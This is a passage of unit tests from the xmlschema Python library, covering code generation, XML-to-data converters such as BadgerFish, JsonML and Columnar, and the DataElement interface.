self.assertEqual(self.generator.map_type(self.schema.types['type6']), 'float') def test_language_type_filter(self): self.assertListEqual( self.generator.render('python_type_filter_test.jinja'), ['str'] ) def test_list_templates(self): template_dir = Path(__file__).parent.joinpath('templates') templates = {'sample.py.jinja', 'bindings.py.jinja'} templates.update(x.name for x in template_dir.glob('filters/*')) self.assertSetEqual(set(self.generator.list_templates()), templates) def test_sample_module(self): generator = PythonGenerator(self.col_xsd_file) python_module = generator.render('sample.py.jinja')[0] ast_module = ast.parse(python_module) self.assertIsInstance(ast_module, ast.Module) def test_bindings_module(self): generator = PythonGenerator(self.col_xsd_file) python_module = generator.render('bindings.py.jinja')[0] ast_module = ast.parse(python_module) self.assertIsInstance(ast_module, ast.Module) collection_dir = Path(__file__).parent.joinpath('test_cases/examples/collection') cwd = os.getcwd() try: os.chdir(str(collection_dir)) with open('collection.py', 'w') as fp: fp.write(python_module) spec = importlib.util.spec_from_file_location('collection', 'collection.py') module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) except SyntaxError: pass else: col_data = module.CollectionBinding.fromsource('collection.xml') col_root = ElementTree.XML(col_data.tostring()) self.assertEqual(col_root.tag, '{http://example.com/ns/collection}collection') finally: os.chdir(cwd) @unittest.skipIf(jinja2 is None, "jinja2 library is not installed!") class TestPythonGenerator11(TestPythonGenerator): schema_class = XMLSchema11 if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('code generators') xmlschema-4.1.0/tests/test_converters.py000066400000000000000000000775651502040105500204560ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2018-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import unittest from pathlib import Path from typing import cast, MutableMapping, Optional, Type from xml.etree.ElementTree import Element, parse as etree_parse try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from elementpath.etree import etree_tostring from xmlschema import XMLSchema, XMLSchemaValidationError, fetch_namespaces from xmlschema.dataobjects import DataElement from xmlschema.testing import etree_elements_assert_equal, run_xmlschema_tests from xmlschema.converters import XMLSchemaConverter, UnorderedConverter, \ ParkerConverter, BadgerFishConverter, AbderaConverter, JsonMLConverter, \ ColumnarConverter, GDataConverter, check_converter_argument from xmlschema.namespaces import NamespaceMapper from xmlschema.dataobjects import DataElementConverter class TestConverters(unittest.TestCase): col_xsd_filename: str col_xml_filename: str col_nsmap: MutableMapping[str, str] col_lxml_root: Optional['lxml_etree.ElementTree'] col_xsd_filename: str col_xml_filename: str col_nsmap: dict @classmethod def setUpClass(cls): cls.col_xsd_filename = cls.casepath('examples/collection/collection.xsd') cls.col_xml_filename = cls.casepath('examples/collection/collection.xml') cls.col_xml_root = etree_parse(cls.col_xml_filename).getroot() cls.col_nsmap = fetch_namespaces(cls.col_xml_filename) cls.col_namespace = cls.col_nsmap['col'] if lxml_etree is not None: cls.col_lxml_root = lxml_etree.parse(cls.col_xml_filename).getroot() else: cls.col_lxml_root = None cls.vh_xsd_filename = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_filename = cls.casepath('examples/vehicles/vehicles.xml') @classmethod def casepath(cls, relative_path): return str(Path(__file__).parent.joinpath('test_cases', relative_path)) def test_check_converter_argument(self): self.assertIsNone(check_converter_argument(XMLSchemaConverter())) self.assertRaises(TypeError, check_converter_argument, NamespaceMapper()) def test_element_class_argument(self): converter = XMLSchemaConverter() self.assertIs(converter.etree_element_class, Element) converter = XMLSchemaConverter(etree_element_class=Element) self.assertIs(converter.etree_element_class, Element) if lxml_etree is not None: converter = XMLSchemaConverter( etree_element_class=cast(Type[Element], lxml_etree.Element) ) self.assertIs(converter.etree_element_class, lxml_etree.Element) def test_prefix_arguments(self): converter = XMLSchemaConverter(cdata_prefix='#') self.assertEqual(converter.cdata_prefix, '#') converter = XMLSchemaConverter(attr_prefix='%') self.assertEqual(converter.attr_prefix, '%') converter = XMLSchemaConverter(attr_prefix='_') self.assertEqual(converter.attr_prefix, '_') converter = XMLSchemaConverter(attr_prefix='attribute__') self.assertEqual(converter.attr_prefix, 'attribute__') converter = XMLSchemaConverter(text_key='text__') self.assertEqual(converter.text_key, 'text__') def test_strip_namespace_argument(self): # Test for issue #161 converter = XMLSchemaConverter(strip_namespaces=True) col_xsd_filename = self.casepath('examples/collection/collection.xsd') col_xml_filename = self.casepath('examples/collection/collection.xml') col_schema = XMLSchema(col_xsd_filename, converter=converter) self.assertIn('@xmlns:', str(col_schema.decode(col_xml_filename, strip_namespaces=False))) self.assertNotIn('@xmlns:', str(col_schema.decode(col_xml_filename))) def test_arguments_with_wrong_types(self): with self.assertRaises(TypeError) as ctx: XMLSchemaConverter(cdata_prefix=1) self.assertTrue(str(ctx.exception).startswith( "'cdata_prefix' must be a instance or None") ) with self.assertRaises(TypeError) as ctx: XMLSchemaConverter(preserve_root=1) self.assertTrue(str(ctx.exception).startswith( "'preserve_root' must be a instance") ) with self.assertRaises(TypeError) as ctx: XMLSchemaConverter(indent='no') self.assertTrue(str(ctx.exception).startswith( "'indent' must be a instance") ) with self.assertRaises(TypeError) as ctx: XMLSchemaConverter(dict_class=list) self.assertTrue(str(ctx.exception).startswith( "'dict_class' must be a MutableMapping object") ) with self.assertRaises(TypeError) as ctx: XMLSchemaConverter(list_class=dict) self.assertTrue(str(ctx.exception).startswith( "'list_class' must be a MutableSequence object") ) def test_lossy_property(self): self.assertTrue(XMLSchemaConverter().lossy) self.assertFalse(XMLSchemaConverter(cdata_prefix='#').lossy) def test_cdata_mapping(self): schema = XMLSchema(""" """) self.assertEqual( schema.decode('123'), {'node': [None, None]} ) self.assertEqual( schema.decode('123', cdata_prefix='#'), {'#1': '1', 'node': [None, None], '#2': '2', '#3': '3'} ) def test_preserve_root__issue_215(self): schema = XMLSchema(""" """) xml_data = """""" obj = schema.decode(xml_data) self.assertListEqual(list(obj), ['@xmlns:tns', 'b1', 'b2']) self.assertEqual(schema.encode(obj).tag, '{http://xmlschema.test/ns}a') obj = schema.decode(xml_data, preserve_root=True) self.assertListEqual(list(obj), ['tns:a']) root = schema.encode(obj, preserve_root=True, path='tns:a', namespaces={'tns': 'http://xmlschema.test/ns'}) self.assertEqual(root.tag, '{http://xmlschema.test/ns}a') root = schema.encode(obj, preserve_root=True, path='{http://xmlschema.test/ns}a') self.assertEqual(root.tag, '{http://xmlschema.test/ns}a') root = schema.encode(obj, preserve_root=True) self.assertEqual(root.tag, '{http://xmlschema.test/ns}a') def test_etree_element_method(self): converter = XMLSchemaConverter() elem = converter.etree_element('A') self.assertIsNone(etree_elements_assert_equal(elem, Element('A'))) elem = converter.etree_element('A', attrib={}) self.assertIsNone(etree_elements_assert_equal(elem, Element('A'))) def test_columnar_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=ColumnarConverter) obj = col_schema.decode(self.col_xml_filename) self.assertIn("'authorid'", str(obj)) self.assertNotIn("'author_id'", str(obj)) self.assertNotIn("'author__id'", str(obj)) obj = col_schema.decode(self.col_xml_filename, attr_prefix='_') self.assertNotIn("'authorid'", str(obj)) self.assertIn("'author_id'", str(obj)) self.assertNotIn("'author__id'", str(obj)) obj = col_schema.decode(self.col_xml_filename, attr_prefix='__') self.assertNotIn("'authorid'", str(obj)) self.assertNotIn("'author_id'", str(obj)) self.assertIn("'author__id'", str(obj)) col_schema = XMLSchema(self.col_xsd_filename) obj = col_schema.decode(self.col_xml_filename, converter=ColumnarConverter, attr_prefix='__') self.assertNotIn("'authorid'", str(obj)) self.assertNotIn("'author_id'", str(obj)) self.assertIn("'author__id'", str(obj)) def test_data_element_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=DataElementConverter) obj = col_schema.decode(self.col_xml_filename) self.assertIsInstance(obj, DataElement) self.assertEqual(obj.tag, self.col_xml_root.tag) self.assertEqual(obj.nsmap, self.col_nsmap) def test_decode_encode_default_converter(self): col_schema = XMLSchema(self.col_xsd_filename) # Decode from XML file obj1 = col_schema.decode(self.col_xml_filename) self.assertIn("'@xmlns:col'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Decode from lxml.etree.Element tree if self.col_lxml_root is not None: obj2 = col_schema.decode(self.col_lxml_root) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree providing namespaces obj2 = col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree without namespaces obj2 = col_schema.decode(self.col_xml_root) self.assertNotIn("'@xmlns:col'", repr(obj2)) self.assertNotEqual(obj1, obj2) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_default_converter_with_preserve_root(self): col_schema = XMLSchema(self.col_xsd_filename) # Decode from XML file obj1 = col_schema.decode(self.col_xml_filename, preserve_root=True) self.assertIn("'col:collection'", repr(obj1)) self.assertIn("'@xmlns:col'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Decode from lxml.etree.Element tree if self.col_lxml_root is not None: obj2 = col_schema.decode(self.col_lxml_root, preserve_root=True) self.assertIn("'col:collection'", repr(obj2)) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree providing namespaces obj2 = col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap, preserve_root=True) self.assertIn("'col:collection'", repr(obj2)) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree without namespaces obj2 = col_schema.decode(self.col_xml_root, preserve_root=True) self.assertNotIn("'col:collection'", repr(obj2)) self.assertNotIn("'@xmlns:col'", repr(obj2)) self.assertNotEqual(obj1, obj2) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2, preserve_root=True) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) @unittest.skipIf(lxml_etree is None, 'lxml is not available') def test_decode_encode_default_converter_with_lxml(self): vh_schema = XMLSchema(self.vh_xsd_filename) vh_lxml_root = lxml_etree.parse(self.vh_xml_filename).getroot() etree_element_class = cast(Type[Element], lxml_etree.Element) # Decode from XML file obj1 = vh_schema.decode(vh_lxml_root, process_namespaces=False) self.assertNotIn("'@xmlns:vh'", repr(obj1)) obj1 = vh_schema.decode(vh_lxml_root) self.assertIn("'@xmlns:vh'", repr(obj1)) root = vh_schema.encode(obj1, etree_element_class=etree_element_class) self.assertIsNone( etree_elements_assert_equal(vh_lxml_root, root, strict=False, check_nsmap=True) ) def test_decode_encode_unordered_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=UnorderedConverter) # Decode from XML file obj1 = col_schema.decode(self.col_xml_filename) self.assertIn("'@xmlns:col'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Decode from lxml.etree.Element tree if self.col_lxml_root is not None: obj2 = col_schema.decode(self.col_lxml_root) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree providing namespaces obj2 = col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree without namespaces obj2 = col_schema.decode(self.col_xml_root) self.assertNotIn("'@xmlns:col'", repr(obj2)) self.assertNotEqual(obj1, obj2) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_unordered_converter_with_preserve_root(self): col_schema = XMLSchema(self.col_xsd_filename, converter=UnorderedConverter) # Decode from XML file obj1 = col_schema.decode(self.col_xml_filename, preserve_root=True) self.assertIn("'col:collection'", repr(obj1)) self.assertIn("'@xmlns:col'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Decode from lxml.etree.Element tree if self.col_lxml_root is not None: obj2 = col_schema.decode(self.col_lxml_root, preserve_root=True) self.assertIn("'col:collection'", repr(obj2)) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree providing namespaces obj2 = col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap, preserve_root=True) self.assertIn("'col:collection'", repr(obj2)) self.assertIn("'@xmlns:col'", repr(obj2)) self.assertEqual(obj1, obj2) # Decode from ElementTree.Element tree without namespaces obj2 = col_schema.decode(self.col_xml_root, preserve_root=True) self.assertNotIn("'col:collection'", repr(obj2)) self.assertNotIn("'@xmlns:col'", repr(obj2)) self.assertNotEqual(obj1, obj2) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2, preserve_root=True) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_parker_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=ParkerConverter) obj1 = col_schema.decode(self.col_xml_filename) with self.assertRaises(XMLSchemaValidationError) as ec: col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIn("missing required attribute 'id'", str(ec.exception)) def test_decode_encode_badgerfish_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=BadgerFishConverter) obj1 = col_schema.decode(self.col_xml_filename) self.assertIn("'@xmlns'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) self.assertNotIn("'@xmlns'", repr(obj2)) self.assertNotEqual(obj1, obj2) self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_gdata_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=GDataConverter) obj1 = col_schema.decode(self.col_xml_filename) self.assertIn("'xmlns$col'", repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) self.assertNotIn("'@xmlns'", repr(obj2)) self.assertNotEqual(obj1, obj2) self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_abdera_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=AbderaConverter) obj1 = col_schema.decode(self.col_xml_filename) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Namespace mapping is required with self.assertRaises(XMLSchemaValidationError) as ec: col_schema.encode(obj1, path='./{%s}collection' % self.col_namespace) self.assertIn("'xsi:schemaLocation' attribute not allowed", str(ec.exception)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) self.assertNotEqual(obj1, obj2) self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_jsonml_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=JsonMLConverter) obj1 = col_schema.decode(self.col_xml_filename) self.assertIn('col:collection', repr(obj1)) self.assertIn('xmlns:col', repr(obj1)) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1, path='./{%s}collection' % self.col_namespace) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) self.assertNotIn('col:collection', repr(obj2)) self.assertNotEqual(obj1, obj2) self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_columnar_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=ColumnarConverter) obj1 = col_schema.decode(self.col_xml_filename) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # Namespace mapping is required with self.assertRaises(XMLSchemaValidationError) as ec: col_schema.encode(obj1, path='./{%s}collection' % self.col_namespace) self.assertIn("'xsi:schemaLocation' attribute not allowed", str(ec.exception)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) self.assertNotEqual(obj1, obj2) self.assertEqual(obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap)) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertEqual(obj1, col_schema.decode(self.col_lxml_root)) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_data_element_converter(self): col_schema = XMLSchema(self.col_xsd_filename, converter=DataElementConverter) obj1 = col_schema.decode(self.col_xml_filename) # self.assertIn('col:collection', repr(obj1)) self.assertIn('col', obj1.nsmap) root = col_schema.encode(obj1, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1, path='./{%s}collection' % self.col_namespace) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj1) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) # With ElementTree namespaces are not mapped obj2 = col_schema.decode(self.col_xml_root) # Equivalent if compared as Element trees (tag, text, attrib, tail) self.assertIsNone(etree_elements_assert_equal(obj1, obj2)) self.assertIsNone(etree_elements_assert_equal( obj1, col_schema.decode(self.col_xml_root, namespaces=self.col_nsmap) )) # With lxml.etree namespaces are mapped if self.col_lxml_root is not None: self.assertIsNone(etree_elements_assert_equal( obj1, col_schema.decode(self.col_lxml_root) )) root = col_schema.encode(obj2, path='./col:collection', namespaces=self.col_nsmap) self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) root = col_schema.encode(obj2) # No namespace unmap is required self.assertIsNone(etree_elements_assert_equal(self.col_xml_root, root, strict=False)) def test_decode_encode_with_default_namespace(self): # Using default namespace and qualified form for elements qualified_col_xsd = self.casepath('examples/collection/collection5.xsd') col_schema = XMLSchema(qualified_col_xsd, converter=BadgerFishConverter) default_xml_filename = self.casepath('examples/collection/collection-default.xml') obj1 = col_schema.decode(default_xml_filename) assert isinstance(obj1, dict) self.assertIn('@xmlns', obj1['collection']) self.assertEqual(repr(obj1).count("'@xmlns'"), 1) self.assertEqual( obj1['collection']['@xmlns'], {'$': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) root = col_schema.encode(obj1) default_xml_root = etree_parse(default_xml_filename).getroot() self.assertIsNone(etree_elements_assert_equal(default_xml_root, root, strict=False)) def test_simple_content__issue_315(self): schema = XMLSchema(self.casepath('issues/issue_315/issue_315_simple.xsd')) converters = ( XMLSchemaConverter, XMLSchemaConverter(preserve_root=True), BadgerFishConverter, AbderaConverter, JsonMLConverter, UnorderedConverter, ColumnarConverter, DataElementConverter ) for k in range(1, 6): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') if k < 3: self.assertIsNone(schema.validate(xml_filename), xml_filename) else: self.assertFalse(schema.is_valid(xml_filename), xml_filename) for k in (1, 2): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') xml_tree = etree_parse(xml_filename).getroot() for converter in converters: obj = schema.decode(xml_filename, converter=converter) root = schema.encode(obj, converter=converter) self.assertIsNone(etree_elements_assert_equal(xml_tree, root)) def test_mixed_content__issue_315(self): schema = XMLSchema(self.casepath('issues/issue_315/issue_315_mixed.xsd')) losslessly_converters = (JsonMLConverter, DataElementConverter) default_converters = ( XMLSchemaConverter(cdata_prefix='#'), UnorderedConverter(cdata_prefix='#'), # BadgerFishConverter, ColumnarConverter, ) for k in range(1, 6): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') self.assertIsNone(schema.validate(xml_filename), xml_filename) for k in range(1, 6): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') xml_tree = etree_parse(xml_filename).getroot() for converter in losslessly_converters: obj = schema.decode(xml_filename, converter=converter) root = schema.encode(obj, converter=converter) self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) for k in range(1, 6): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') xml_tree = etree_parse(xml_filename).getroot() for converter in default_converters: obj = schema.decode(xml_filename, converter=converter) root = schema.encode(obj, converter=converter, indent=0) if k < 4: self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) continue if k == 4: self.assertEqual(obj, {'@xmlns:tst': 'http://xmlschema.test/ns', '@a1': 'foo', 'e2': [None, None], '#1': 'bar'}) self.assertEqual(len(root), 2) else: self.assertEqual(obj, {'@xmlns:tst': 'http://xmlschema.test/ns', '@a1': 'foo', 'e2': [None], '#1': 'bar'}) self.assertEqual(len(root), 1) text = etree_tostring(root, namespaces={'tst': 'http://xmlschema.test/ns'}) self.assertEqual(len(text.split('bar')), 2) for k in range(1, 6): xml_filename = self.casepath(f'issues/issue_315/issue_315-{k}.xml') xml_tree = etree_parse(xml_filename).getroot() obj = schema.decode(xml_filename, converter=BadgerFishConverter) root = schema.encode(obj, converter=BadgerFishConverter, indent=0) if k < 4: self.assertIsNone(etree_elements_assert_equal(xml_tree, root, strict=False)) continue if k == 4: self.assertEqual(obj, {'tst:e1': {'@a1': 'foo', '@xmlns': {'tst': 'http://xmlschema.test/ns'}, 'e2': [{}, {}], '$1': 'bar'}}) else: self.assertEqual(obj, {'tst:e1': {'@a1': 'foo', '@xmlns': {'tst': 'http://xmlschema.test/ns'}, 'e2': [{}], '$1': 'bar'}}) text = etree_tostring(root, namespaces={'tst': 'http://xmlschema.test/ns'}) self.assertEqual(len(text.split('bar')), 2) if __name__ == '__main__': run_xmlschema_tests('converters') xmlschema-4.1.0/tests/test_dataobjects.py000066400000000000000000000700121502040105500205230ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import unittest import xml.etree.ElementTree as ElementTree from pathlib import Path from typing import Dict from xmlschema import XMLSchema10, XMLSchema11, fetch_namespaces, etree_tostring, \ XMLSchemaValidationError, DataElement, DataElementConverter, XMLResource, \ XsdElement, XsdAttribute, XsdType from xmlschema.validators import XsdAttributeGroup from xmlschema.utils.etree import is_etree_element from xmlschema.names import XSI_TYPE from xmlschema.dataobjects import DataBindingMeta, DataBindingConverter from xmlschema.testing import etree_elements_assert_equal, run_xmlschema_tests class TestDataElementInterface(unittest.TestCase): def test_repr(self): self.assertEqual(repr(DataElement('foo')), "DataElement(tag='foo')") def test_value(self): self.assertIsNone(DataElement('foo').value) self.assertEqual(DataElement('foo', value=10).value, 10) self.assertEqual(DataElement('foo', 1.8).value, 1.8) self.assertFalse(DataElement('foo', False).value) def test_attributes(self): self.assertEqual(DataElement('foo').attrib, {}) attrib = {'a': 10, 'b': 'bar'} self.assertEqual(DataElement('foo', attrib=attrib).attrib, attrib) self.assertEqual(DataElement('foo', attrib=attrib).get('a'), 10) self.assertIsNone(DataElement('foo', attrib=attrib).get('c')) data_element = DataElement('foo') data_element.set('b', 9) self.assertIsNone(data_element.get('a')) self.assertEqual(data_element.get('b'), 9) def test_nsmap(self): self.assertEqual(DataElement('foo').nsmap, {}) nsmap = {'tns': 'http://xmlschema.test/ns'} self.assertEqual(DataElement('foo', nsmap=nsmap).nsmap, nsmap) self.assertIsNot(DataElement('foo', nsmap=nsmap).nsmap, nsmap) def test_attributes_with_namespaces(self): nsmap = {'tns': 'http://xmlschema.test/ns'} attrib = {'tns:a': 10, '{http://xmlschema.test/ns}b': 'bar'} element = DataElement('foo', attrib=attrib, nsmap=nsmap) self.assertEqual(element.get('tns:a'), 10) self.assertEqual(element.get('{http://xmlschema.test/ns}a'), 10) self.assertEqual(element.get('{http://xmlschema.test/ns}b'), 'bar') self.assertEqual(element.get('tns:b'), 'bar') self.assertIsNone(element.get('tns:c')) self.assertIsNone(element.get('tns:b:c')) self.assertIsNone(element.get('tns0:b')) self.assertIsNone(element.set('tns:c', 8)) self.assertEqual(element.get('tns:c'), 8) def test_text_value(self): self.assertIsNone(DataElement('foo').text) self.assertEqual(DataElement('foo', value=True).text, 'true') self.assertEqual(DataElement('foo', value=False).text, 'false') self.assertEqual(DataElement('foo', value=10.0).text, '10.0') class TestDataObjects(unittest.TestCase): schema_class = XMLSchema10 converter = DataElementConverter col_xsd_filename: str col_xml_filename: str col_nsmap: Dict[str, str] @classmethod def setUpClass(cls): cls.col_xsd_filename = cls.casepath('examples/collection/collection.xsd') cls.col_xml_filename = cls.casepath('examples/collection/collection.xml') cls.col_xml_root = ElementTree.parse(cls.col_xml_filename).getroot() cls.col_nsmap = fetch_namespaces(cls.col_xml_filename) cls.col_namespace = cls.col_nsmap['col'] cls.col_schema = cls.schema_class(cls.col_xsd_filename, converter=cls.converter) @classmethod def casepath(cls, relative_path): return str(Path(__file__).parent.joinpath('test_cases', relative_path)) def test_namespace(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertIsInstance(col_data, DataElement) self.assertEqual(col_data.tag, '{http://example.com/ns/collection}collection') self.assertEqual(col_data.namespace, 'http://example.com/ns/collection') self.assertEqual(col_data[0].tag, 'object') self.assertEqual(col_data[0].namespace, 'http://example.com/ns/collection') self.assertEqual(DataElement('foo').namespace, '') def test_names(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertEqual(col_data.tag, '{http://example.com/ns/collection}collection') self.assertEqual(col_data.name, col_data.tag) self.assertEqual(col_data.prefixed_name, 'col:collection') self.assertEqual(col_data.local_name, 'collection') self.assertEqual(col_data[1].tag, 'object') self.assertEqual(col_data[1].prefixed_name, 'object') self.assertEqual(col_data[1].local_name, 'object') def test_xsd_version(self): self.assertEqual(DataElement(tag=self.col_xml_root.tag).xsd_version, '1.0') xsd_element = self.col_schema.elements['person'] data_element = DataElement(tag=self.col_xml_root.tag, xsd_element=xsd_element) 